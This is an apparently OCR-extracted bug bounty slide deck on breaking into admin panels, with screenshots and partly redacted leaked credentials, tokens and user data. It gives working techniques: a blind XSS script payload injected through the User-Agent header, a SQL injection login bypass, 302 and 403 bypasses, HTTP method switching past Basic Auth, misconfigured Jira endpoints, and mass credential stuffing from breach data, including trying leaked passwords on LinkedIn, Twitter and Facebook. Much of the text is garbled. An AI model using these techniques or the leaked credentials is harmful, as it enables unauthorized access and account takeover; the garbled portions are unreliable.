

Accessing Admin Panels

Ahsan Khan



Who am i

Pwner

Just a simple guy like you

Methods

Accessing Admin Panels

- GitHub
- Blind XSS (User-Agent)
- Open Ports
- Forced Browsing (Tampering)
- Reading Source (JS)
- Response Manipulation
- HTTP Basic Authentication
- Misconfigured Jira
- Dehashed

Accessing Admin Panels Using Github

Github

Dorks

api, token, firebase, username, password, secret, dev, prod, jenkins, config, ssh, ftp, MYSQL_PASSWORD, admin, AWS, bucket, GITHUB_TOKEN, CSRF, session, sql, database, api_key, smtp, secret_key, auth, login, access_token, oauth_token

Usage

"site.com" API_key "site.com" secret_key "site.com" email "site.com" password "site.com" login "site.com" admin

org:org_name "password" org:org_name "secret"

user:username "password" user:username "secret"



Leaked Credentials

8		require once '.	1.
9	11		<i>,</i>
10	11	<pre>\$username = "";</pre>	
11	11		
12	11	<pre>\$password = 1997";</pre>	
13	11		
14	11	<pre>\$customerId = 52</pre>	
19	11		:WSDL_URL => 'https:/
		admin.	
20	11	\W	
_			-

8		public String	emailID <mark>=</mark> "§		<mark>com</mark> ";
9		<mark>public</mark> String	userName ="s	;	
10		public String	password =":		<u> </u> 4";
11	}				

```
- index.js
desk: 'supportenterprise',
username: '_____.com',
password: '|____',
animate: false,
this.setState({ [name]: value });
}
handleClick() {
const { username, password } = this.state;
```

Admin Panels Accessed

USER ATTRIBUTES Match any ~	208 total users		
🗌 🙎 Name			
🗌 🗟 Organization	USER	LAST SEEN	FIRST SEEN
B Role		2 minutes ago	2 years ago
🗆 🛇 Tags			
🗌 🖻 Email		4 minutes ago	8 months ago
🗌 🕫 Twitter		- minutes eBo	0 1101111 0 050
Facebook			an deux ann
🗋 🖬 Phone		a day ago	20 days ago
🗌 💿 Last seen			
E Last logged in		2 hours ago	2 hours ago
🗌 🖉 Created at			
🗆 😂 Updated at		-	2 years ago
□ 🖵 OS			
🗌 🛅 Browser		2 months ago	a year ago
🗌 🛅 Browser version			
🗌 🐵 City		5 days ago	a year ago
© Country			
🗌 🛞 Region		4 months ago	9 months ago
① Timezone			
Eanguage		8 months ago	9 months ago
User enabled		o montario ago	5 months ago
© 2FA		6 months ago	E-months are
		5 months ago	5 months ago
			Salata an
		5 months ago	5 months ago
		4 months ago	4 months ago







Gitrob & Keyhacks

Recommended Tool



Reconnaissance tool for GitHub organizations. Contribute to michenriksen/gitrob development by creating an account on GitHub.

🖸 GitHub

You can use keyhacks for leaked tokens (API keys etc) to confirm that your token is valid or not https://github.com/streaak/keyhacks



Accessing Admin Panels Using Blind XSS

Blind XSS

Where to find Blind XSS

- Contact / Feedback pages
- Surveys
- Your Password As Blind XSS Payload
- Chat applications / Forums
- Customer ticket applications
- Always use your name or description as Blind XSS Payload
- In the logs
- Add Blind XSS payload in the name field and reset your password
- Add Blind XSS payload while completing demos
- Add Blind XSS payload in the `Need Expert` feature
- Add Blind XSS payload while upgrading your account
- Blind XSS Payload in User-Agent header For Automation:

Inside Burp Suite's match & replace function, in the match section put your User-Agent's value and ""><script src=yourdomain></script> in the replace section

Use xsshunter (https://xsshunter.com/) for blind xss



Accessing Admin Panels Using Open Ports

Open Ports

Accessing Admin Panels Using Open Ports

Your recon should be really strong to find some deep old subdomains with open ports

- Use multiple tools (+ methods) to find subdomains
- When your recon is complete on subdomain enumeration (Live sub-domains list)
- Scan your list for open ports
- If your list is good enough, You will start finding internal portals on open ports
- You can access those admin portals using multiple methods
- Try the default wordlist on those internal admin portals (Sometimes they could be accessed even with test/test credentials)
- Try SQLi for auth bypass, example `' or '1'='1`
- You can read JS files to disclose credentials or internal endpoints to escalate further
- Those old internal portals are really vulnerable you just need some strong recon to get there

Lets check an example of accessing these portals



How I accessed the internal panel from empty panel

After all the recon I found an admin portal on an open port



- Accessed it using 'or'1=1
- But the portal was empty because it was old and there was nothing there
- But in the footer, I see an option for feedback for our service
- I filled that form with my blind XSS payload and the next day I got an email of xsshunter

Admin Portal Accessed

n

Nov 18, 2022 at 2:18 PM

Site Contact / Form Submission: Free Trial Form

Contact Information

Date Received: 2022-11-18

Name:

Company: test

Company Type:

Email:

Phone:

IP Address:

Hostname:

This is an Automated Email.

Forward Reply All Reply

Accessed admin panels using open ports

Internal Admin Par P4 Unresolved	nel Acc	cessed On Po	ort 2006	
Internal Admin Par P1 Unresolved	nel Acc	cessed		
	1	#666585	Admin panel accessed	
		State	Resolved (Closed)	
		CVE ID		
		Bounty	\$2,500	

\$500 5 points

Comments 7

\$5,000 40 points

Comments 10

Accessing Admin Panels Using Forced Browsing + Tampering

Forced Browsing

Accessing Admin Panels Using Forced Browsing

To access admin portals using forced browsing you need to enumerate the web directories, Collect all the endpoints and try to access or run them without authentication

Example: found site.com/admin/ Enumerate /admin/ Try to access the pages directly without any authentication site.com/admin/templates.aspx = Checkout the picture ==>

Use some good wordlists to enumerate the admin portals, Try to look for JS files because they are full of hidden endpoints.

odify the look and feel of your st	yle.
All fields marked with an aster	isk (*) are required.
General Information	
Template Name:*	
Active: *	Yes
Public Use:*	Yes
Logo Path :	Enter the path for the will be displayed.
Logo Height:	0
Logo Width:	0
Logo Alignment:	Left
Survey Alignment:	Center
and and Calana	
forders and Colors	
nautx rieader Color.	
Aatrix First Color:	
Aatrix Second Color:	
rogress First Color:	
rogress Second Color:	
Font Styles	
	Font Color
Survey Name	
Page Title	
Page Number	
Question Text	
Question Text	
Question Sub-Text	
Navigation Links	

HTML Header:

Checkout the portal page accessed directly

to display at the top of the surveys. If left blank, no logo Browse... Display Borde Border Width Border Color Bold Arial Black Bold Arial Black Bold Arial Black Arial Black Bold Bold Arial Black Arial Black Bold

e and below the survey. Note that the HTML provided for the header and footer is

Tampering

Accessing Admin Panels Using Tampering

We can access admin portals using the Tampering method. Enumerate the admin portal and collect all the 302 endpoints and check the response in the burpsuite.

- We can bypass this authentication and browse the admin pages through burp repeater using theses endpoints
- For example, please intercept the request for this link:
- Send it to repeater

https:/

• You will get 302 response in the response. *Use the Render to view the admin page

panel

• Now you can see all the data that the admin should see which is all **contained** names and invoices information for the all days .

Burp Intruder Repeater Window Heb Param Miner Target Proxy Spider Scanner Intruder Repeater Sequencer Decoder Comparer Extender Project options User options Alerts Reflector Burp Bounty Pro Burp/SLakTinder			
$\fbox{21 \times 23 \times 24 \times 25 \times 27 \times 28 \times 29 \times 30 \times 31 \times 32 \times 33 \times 34 \times 35 \times 36 \times 37 \times 38 \times 39 \times 40}$	× 41 × 42 × 44 × 49 × =	Content	
00 Cancel < 1 > > +			
Request	Response	chtml>	
Raw Params Headers Hex	Raw Headers Hex HTML Render		
GiT #panel. Rost	Toggie navigation	<title></title>	
Accept-Incoding: gzip, deflate Accept: */*	Order History	<body></body>	
Accept-Language: em User-Agent: Rogila/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Wind4; x64; Trident/5.0)	Dathbaird	-h 2 - A dm	
Connection: close Referen:	- Log Out	<113>Adm.	
	Store Selector	Welcome	
	Order No. 3264615		
	Date	an brof	
	31-1-2021 10.59 AM Type	<a href="</td">	
	PRE-ORDER PICK UP Store	<a href:<="" td="">	
	Name	<a href:<="" td="">	
	Phone	in the second	
	Parament	<a href:<="" td="">	
	Total		
	Status	challser	
	Enaded	-D-OSCI	
	None OwTast		
	Extra Large Cappuccino 2 \$9		
	Extra Large No Sugar		
	Full Cream Order No. 3264613		
	Date		
	31-1-2021 10:53 AM		
	PRE-ORDER PICK UP	- (html)	
	Marine State		
	I VIELE		

Response from http: /panel/ Intercept is on Drop Forward Action HTML | Render Raw Headers Hex HTTP/1.1 302 Found Access-Control-Max-Age: 1000 Location: login.php Access-Control-Allow-Origin Access-Control-Allow-Headers: User-Agent Access-Control-Allow-Methods: POST Content-Length: 337 Connection: close Content-Type: text/html; charset=UTF-8 <html> <title>Admin Dashboard</title> <body> <h3>Admin Dashboard</h3> Welcome Admin!

> Change Password
 Change Picture
 Change Email
 View Users

> Users Registered: </body>

Reading Source (JS)

Accessing Admin Panel By Reading Source (JS)

There is a lot in js files, By reading js files of admin panels, You will find sensitive information like credentials, API tokens, secrets, internal endpoints, etc. By exploiting those, you can access admin portals.

Example

Summary

This is your dev admin: https://www.dev.**eta**.com/**tea**/#/login, I have found a way to access contents of this dev panel.

Steps to reproduce

- 1. Go to https://www.dev. .com/ /#/login
- Type test@test.com in the email area and test in the password area (test@teat.com is a valid user, Your dev created this account for testing but forget to delete this test account)

Request

POST /v2/login HTTP/1.1 Host: api.dev. _____.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox, Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Referer: https://www.dev. _____.com/___/ accessToken: null Content-Type: application/json;charset=utf-8 Content-Length: 46 Origin: https://www.dev. _____.com Connection: close

{"userName":"test@test.com","password":"test"}

Response

```
{
  "header": {
   "success": true,
   "dateTime": "Thu Jun 13 20:31:11 UTC 2019",
   "errorCodes": []
 },
  "body": {
   "userId":
   "firstName": "TEST",
   "lastName": "TEST",
   "email": "test@test.com",
   "userName": "test@test.com",
   "regionPrefix": "",
   "jobFilter": '
    "accessToken": "657339d020a24
   "accountName": null,
   "accountType": 1,
   "street": "Test
   "houseNumber": "11",
   "zipCode": "22303",
   "city": '
   "phoneNumber": ":
   "isWorking": false,
   "paused": false,
   "countryCode": null,
   "contractType": null,
   "vip": false
```







Example

Exploitation

1. We got the	access_token , I found a way to use this token

2. Go to the page source of https://www.dev. com/food/#/login

Checkout #PIC1

T. Open build/App.js me. https://www.dev	1. Open build/App.js file: https://ww	ww.devcom/food/build/App.j
--	---------------------------------------	----------------------------

- 2. Search for this.Api.get
- 1. You can see endpoints of the API
- 2. We can use these endpoints + AccessToken to access or disclose the sensitive data of dev panel

Request

/*

GET /v2/user/addresshistory/1/500 HTTP/1.1	
Host: api.dev.	
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox,	
Accept: application/json, text/plain, */*	
Accept-Language: en-US,en;q=0.5	
Accept-Encoding: gzip, deflate	
Referer: https://www.dev.	
accessToken: 657339d020	
Origin: https://www.dev	
Connection: close	





* @param {Number} userId * @param {String} accessToken * @return {Promise} */

return results.data.body;

```
CustomerJobService.prototype.getAddressHistory = function(userId, accessToken) {
 return this.Api.get('/user/addresshistory/' + userId + '/500?token=' + accessToken).then(function(re:
```

```
});
};
/*
*/
CustomerJobService.prototype.getAllJobsByUser = function(userId, status) {
 return this.Api.get('/job/get/byUser/' + userId + '&status=' + status).then(function(results) {
    return this.createJobsCollection(results.data.body);
 });
};
```

Example

Raw Headers Hex	Raw	Headers Hex	ISON Beautifie
<pre>Accept Text Text Set Text Set Text Text Text Text Text Text Text Te</pre>	<pre>}, {</pre>	<pre>"additionalInf "location": nu "parking": nul "carryHelp": n "valid": false "legacyStreet" "id": null, "street": " "district": "" "city": " "latitude":</pre>	Joon bounding fo": null, ill, iull, iull, iull, ime": ': '' '' '' '' '' '' '' '' '' '' '' ''

• I just tested one endpoint and you can see a lot of sensitive info of the users, Their name, City, Country, Phone number, etc.

• These are other endpoints we can use to retrieve the sensitive information

```
return this.Api.get('/job', {
     jobId: jobId
 return this.Api.get('/job/status', {
 return this.Api.get('/jobs/active', {}).then(function(results) {
 return this.Api.get('/jobs/delivered', {
 return this.Api.get('/user/addresshistory/' + userId + '/500?token=' +
 return this.Api.get('/job/get/byUser/' + userId + '&status=' + status).the
 return this.Api.get('/availability', {
     countryCode: job.get('countryCode'),
     startZip: job.get('fromAddressZipCode'),
     endZip: job.get('toAddressZipCode')
 return this.Api.get('/availability', {
 return this.Api.get('job/lastJob', userId);
For changing settings of the user
 CustomerUserService.prototype.requestPasswordResetLink = function(userEma:
   return this.Api.get('/user/password/link', {
     email: userEmail
   }).then((function(_this) {
     return function(result) {};
   })(this));
 };
 CustomerUserService.prototype.validateResetToken = function(token) {
    return this.Api.get('/user/password/token', {
     resetToken: token
   }).then((function(_this) {
     return function(result) {};
   })(this));
 };
   return this.Api.get('/user/password/change', {
     recetTaken: taken
```

Example 2

While enumeration disclosed the admin panel credentials in the js file

```
event.preventDefault();
    var urlTokens = remoteLinkUrl.split('/');
                                                                     ngrok.io,
    // TODO: need CORS access for
                                 .com/api/project/verify/37ca81h/' -d
    // curl -X POST -v 'https://
                                                                               { "password":
    $.ajax({
                               .com/api/project/verify/' + urlTokens[3] + '/',
        url: 'https://
        type: 'POST',
        contentType: 'application/json',
        data: JSON.stringify({
            password: $(this).find('input[type="password"]:first').val(),
        }),
        beforeSend: function(xhr) {
            xhr.setRequestHeader('X-
                                          -Jira', 'JIRA');
        },
        complete: function(response) {
            console.log(' +++ password response', response);
        },
        success: function(response) {},
        error: function(response) {},
    });
});
```

```
dignlay
```

So after using the disclosed credentials, Generated an admin panel internal token, Using that token we can perform actions on the internal admin panel.

Check out the screenshot on the next page



Example 2

Request	Response
Pretty Raw Hex ⇒ \n ≡ 1 POST /api/project/verify/37ca81h/ HTTP/2 2 Host:	Pretty Raw Hex Render 1 HTTP/2 200 OK 2 Server: nginx 3 Content-Type: application/jso 4 5 Access-Control-Allow-Headers:
<pre>4 Cache-Control: max-age=0 5 Sec-Ch-Ua: "Google Chrome";v="107", "Chromium";v="107", "Not=A?Brand";v="24" 6 Sec-Ch-Ua-Mobile: ?0 7 Sec-Ch-Ua-Platform: "macOS" 8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecl 0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,> 1 Sec-Fetch-Site: none 2 Sec-Fetch-Mode: pavigate</pre>	7 X-Request-Uuid 8 Allow: POST, OPTIONS 9 Access-Control-Allow-Credenti 10 X-Frame-Options: SAMEORIGIN 11 Access-Control-Allow-Methods: 12 Access-Control-Allow-Origin: 13 Set-Cookie: _tsessid=; expire 14 Set-Cookie: _tsessid=: expire
<pre>3 Content-Type: application/json 4 X Jini -Jira: 5 Sec-Fetch-User: ?1 6 Sec-Fetch-Dest: document 7 Accept-Encoding: gzip, deflate 8 Accept-Language: en-US,en;q=0.9,sv;q=0.8 9 Content-Length: 24</pre>	<pre>15 Set-Cookie: sessionid httponly; Max-Age=1209600; Pa 16 X-Backend:app-production 17 Cache-Control: private, no-ca 18 Accept-Ranges: bytes 19 Date: Fri, 18 Nov 2022 19:23: 20 Via: 1.1 varnish 21 X-Cache: MISS</pre>
12 { "password":" }	<pre>22 X-Cache-Hits: 0 23 Vary: Authorization, Cookie 24 Fastly-Version: 681 25 Strict-Transport-Security: ma 26 27 { "token":"19106c32-eec1-485b }</pre>

Tip:

Check out all the js files manually, Don't just depend on the tools or extensions (JS Miner)





on;q=0.8

Content-Type, Accept, X-Requested-With, X-CSRFToken, location : Content-Type, Accept, X-Requested-With, X-CSRFToken, location

als: true

POST,GET,OPTIONS,PUT,DELETE https:// es=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/ es=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/ expires=Fri, 02-Dec-2022 19:23:46 GMT

ath=/; secure

che

46 GMT

ax-age=2592000

Accessing Admin Panels Using Response Manipulation

Response Manipulation

Accessing Admin Panels Using Response Manipulation

You can access the admin panel using the response manipulation method, Change the HTTP status from 403 to 200 or manipulate the response body to access the admin panel



You have successfully modified your password to download the client login

* If any error occur then again change the 0 response to 1 and forward the request

Response Manipulation

Bypassing 403 To Access Admin Panels

You can bypass the 403 restrictions by adding the X-Forwarded-For header in the request, You can add 127.0.0.1 or enumerate the header 192.168.0.0 - 192.168.255.255

Example 2

Request

```
GET /admin/secret HTTP/2
Host: admin.site.com
Sec-Fetch-Site: none
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KH1
Accept-Encoding: gzip, deflate
Accept-Language: en-US, en; q=0.9, sv; q=0.8
```

Response

HTTP/1.1 403 Forbidden

GET /admin/secret HTTP/2 Host: admin.site.com X-Forwarded-For: 127.0.0.1 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KH1 Accept-Encoding: gzip, deflate Accept-Language: en-US, en; q=0.9, sv; q=0.8

Response

HTTP/2 200 OK





Accessing Admin Panels Using HTTP Basic Authentication

HTTP Basic Authentication

Bypassing HTTP Basic Authentication

We can bypass the HTTP Basic Authentication by changing HTTP method

Example

We can bypass the Basic Auth by changing the http method, Like change the method from GET to POST, HEAD, DELETE, Test

POST /test/ HTTP/1.1 Host: User-Agent: Accept: */*

HTTP/1.1 401 Unauthorized

Server: Apache/2.4.18 (Ubuntu) WWW-Authenticate: Basic

Content-Type: text/html

HEA Hos Use Acc	D /te t: r-Age ept:	est/ H ent: */*	ITTP/1	.1	
НТТ	P/1.	1 200	0K		
Ser	ver:	Apach	ne/2.4	1.18	(Ubunt
Acc Con Var	ept-l tent y: A	Ranges - Lengt ccept -	s: byt th: 21 Encod	es 17 ling	

Tip

Try to enumerate HTTP Basic Auth web and access the .htpasswd file if it's publically accessible. You will get passwords in it for the HTTP Basic Auth.



tu)



Accessing Admin Panels Using Misconfigured Jira

Misconfigured Jira

Accessing Admin Panels Using Misconfigured Jira

The method is simple you just need to find the Jira instance of your target first if its configured

You can look for the following jira.site.com site.atlassian.net

Endpoints to check for

org-name.atlassian.net/secure/Dashboard.jspa org-name.atlassian.net/secure/ConfigurePortalPages!default.jspa?view=popular org-name.atlassian.net/secure/Signup!default.jspa org-name.atlassian.net/secure/BrowseProjects.jspa org-name.atlassian.net/secure/QueryComponent!Default.jspa org-name.atlassian.net/secure/attachment/[id]/ org-name.atlassian.net/secure/ManageFilters.jspa?filterView=popular org-name.atlassian.net/secure/ManageFilters.jspa org-name.atlassian.net/plugins/servlet/oauth/users/icon-uri?consumerUri=http://google.com





Misconfigured Jira

Accessing Admin Panels Using Misconfigured Jira

Example: Misconfigured Jira Disclosing Sensitive Information To Access Multiple Admin Panels



ort ort ort	atlassian.net/wiki/spaces/CI/pages/ atlassian.net/wiki/spaces/CI/pages/ atlassian.net/wiki/spaces/CI/pages/ atlassian.net/wiki/spaces/CI/pages/	API+C Invoi Invoi Invoi
at	lassian.net/wiki/spaces/CI/pages/ /Passw	ord-
"h	nttp://auth0.com/oauth/grant-type/password-rea	lm","u:
	.atlassian.net/wiki/spaces/CI/pages/ .atlassian.net/wiki/spaces/CI/pages/	/Receiv /Send+(

Misconfigured Jira

Accessing Admin Panels Using Misconfigured Jira

By exploiting the credentials disclosed in the misconfigured Jira, I got access into all of their admin panels





Contracts		Product P	rice Models	
		~		
ter By Changes may take a	few minutes to appear.			
Changes may take a	few minutes to appear.		PERFORMED BY	
Changes may take a Action Added permission	few minutes to appear. DESCRIPTION Added permiss		PERFORMED BY	
Changes may take a Changes may take a Action Added permission Added permission	a few minutes to appear. DESCRIPTION Added permiss Added permiss		PERFORMED BY	
Changes may take a Changes may take a ACTION Added permission Added permission	a few minutes to appear. DESCRIPTION Added permiss Added permiss Added permiss		PERFORMED BY	
Changes may take a Action Added permission Added permission Added permission	e few minutes to appear. DESCRIPTION Added permiss Added permiss Added permiss Added permiss		PERFORMED BY	
er By Changes may take a Action Added permission Added permission Added permission Added permission	e few minutes to appear. DESCRIPTION Added permiss Added permiss Added permiss Added permiss Added permiss Added permiss		PERFORMED BY	
Changes may take a Changes may take a ACTION Added permission Added permission Added permission Added permission Added permission	a few minutes to appear. DESCRIPTION Added permiss		PERFORMED BY	
Changes may take a Changes may take a ACTION Added permission Added permission Added permission Added permission Added permission Added permission	e few minutes to appear. DESCRIPTION Added permiss		PERFORMED BY	
ter By Changes may take a ACTION Added permission	a few minutes to appear. DESCRIPTION Added permiss Added permiss		PERFORMED BY	

Accessing Admin Panels Using Dehashed

Dehashed

Accessing Admin Panels Using Dehashed

Dehashed provides free deep-web scans and protection against credential leaks. A modern personal asset search engine created for security analysts. We can use the leaked credentials to access admin portals.

My approach to use Dehashed to access admin portals in mass.

- It will take a lot of time to copy and paste credentials one by one from the dehashed to fix this problem, You can use their API
- Usage: curl 'https://api.dehashed.com/search?query=domain:test.com'
- Results: (Your bash should be strong to sort out your data)

base)) ahsan@hunter ~ cat all_data head ·	-n 100
{		
	"id": "18	
	"email":	
	"ip_address": "",	
	"username":	
	"password":	
	"name": "",	
	"vin": "",	
	"address": "",	
	"phone": "",	
	"database_name": "Collections"	
},	1	
{		
	"id": "53	
	"email":	
	"ip_address": "",	
	"username":	
	"password":	



Dehashed

Accessing Admin Panels Using Dehashed

Extract only emails (usernames) and passwords for the result and create a wordlist

Example

(base) ahsan@hunter ~ cat test {"balance":∞,"entries":[{"id":"7uLTrEOGp1VciOKC0QoxHKNCs9iYpskhi6Y=","email":"support@dehashed.com", "username":"DeHashed","password":"DeHashed","hashed_password":"098f6bcd4621d373cade4e832627b4f6","na me":"DeHashed","vin":"1234567890ABC","address":"123 Street St","ip_address":"127.0.0.1","phone":"123 -123-1234","obtained_from":"DeHashed"}],"success":true,"took":"68µs","total":1} (base) ahsan@hunter ~

(base) ahsan@hunter ~ cat test | tr "," '\n' "balance":∞ 'entries":[{"id":"7uLTrEOGp1VciOKC0QoxHKNCs9iYpskhi6Y=" 'email":"support@dehashed.com" 'username":"DeHashed" 'password":"DeHashed" "hashed_password":"098f6bcd4621d373cade4e832627b4f6" 'name":"DeHashed" "vin":"1234567890ABC" "address":"123 Street St" "ip_address":"127.0.0.1" "phone":"123-123-1234" "obtained_from":"DeHashed"}] "success":true 'took":"68µs" total":1}

(base) ahsan@hunter ~ (base) ahsan@hunter ~ cat test "**username":**"DeHashed" "**password":**"DeHashed" (base) ahsan@hunter ~ |



cer ~ cat test | tr "," '\n' | grep -v hashed | grep -E 'username|password' shed" shed" ter ~ |





Accessing Admin Panels Using Dehashed

Extract only emails (usernames) and passwords for the result and create a wordlist

cat test | tr "," '\n' | grep -v hashed | grep -E 'username|password' | tr "\n" '"\n' | sed 's/username//g;s/password//g;s/"//g' | cut -c 2-



Results: username:password

Now apply your credentials wordlist on all the admin panels you found in your subdomain enumeration list

Tip:

Apply these credentials on all the Main domains, Subdomains, Their third-party admin panels, and on sites like LinkedIn, Twitter, FB, etc

Dehashed

Accessing Admin Panels Using Dehashed

Example 1

Steps to reproduce

 Go to https://www.dehashed.com/ and search for credentials: https://www.dehashed.com/search?query=

← → C ii dehashed.co	n/search?query			第 🕁 🔍	
1 Apps 💿 Google M Gmail	🍽 Hackararay 👾 HTML Iframe tag 😆 Report B	ackboard 👫 Tools - dark-dark 🔕 Takeaway Group B	(A Become a	Shopify 🔂 Domain: levi.com 🚺 Site report for htt	😧 IP History - ViewD + 🛄 R
# DEHASHED					
E Home / Results					
Q Search	55 RESULT(S) FOUND	1.206HS SEARCH ELAPSED TIME		14,453,524,343 ASSETS SEARCHED	48,756 ADGREGATED DATA WELLS
\$ Pricing	Results				
😫 Data Wells	Because of the nature of the displayed date, he purrentee o				
CD #1+1					
Support				What's DeHashed and those results?	te Anthone Laurandiate Carcustic
() FAD			÷ ;	companies, and everyday people to help secure accounts an	d provide insight on breaches and
O API ->				What can I search for?	
⊕ wears >					
Menillering >				Emell	
A My Account ~				Password	
· Payments					
· Settings					
- Sign Out			>		

• I have checked all the credentials only these credentials are working







1:201



Dehashed

Accessing Admin Panels Using Dehashed

Example 1

- Use the above credentials but they will ask for the code (0TP), We don't have complete access to the account and we can't get that OTP so i have found a way to bypass OTP protection, We can use API to validate and access the admin credentials
- Simply go to: https://www. /api/login?username=test&password=test

Result

{"Success":false,"Error":{"ErrorCode":"","ErrorDesc":"The email or password

Above Credentials are invalid

· Let's try the valid credentials





Resul Email Pass

* Go to your web and use the above credentials



true,"ShowLogOff":false,"HideSuccessPopup":false,"IsUpdatePasswordAfterResetPopup ":false,"HeaderClass":"GenericAlertHeaderDiv","ContentClass":"GenericAlertContent Div", "FormMode":0, "Message":

{"HeaderText":null, "BodyText":null}, "CodeAuthenticationFeatureEnabled":true}, "mon eycardActivationRequiredType":"Default"}}

..... so on

You can confirm from the "IsCompmAdmin":true parameter that it's a valid admin user account

Example 2

Result #11699910

1	_	
	÷	
		Result : Email Password
	÷	► @ #
It		
word:		

Good afternoon! Welcome back.

Email address Password Forgot password? ••••] Sign in Or

Accessed employee account

Tips

Motivation

No one is born with special powers Every legend was once a beginner

The answer to all of your questions and excuses is to believe in yourself and progress Love what you are doing Don't give up

If you are stuck, then work hard on your skills until you find the gems

Life is tough sometimes, Ups and downs are part, Convert this pain into your work and change your life as I did

Love your family and friends, They deserve this love

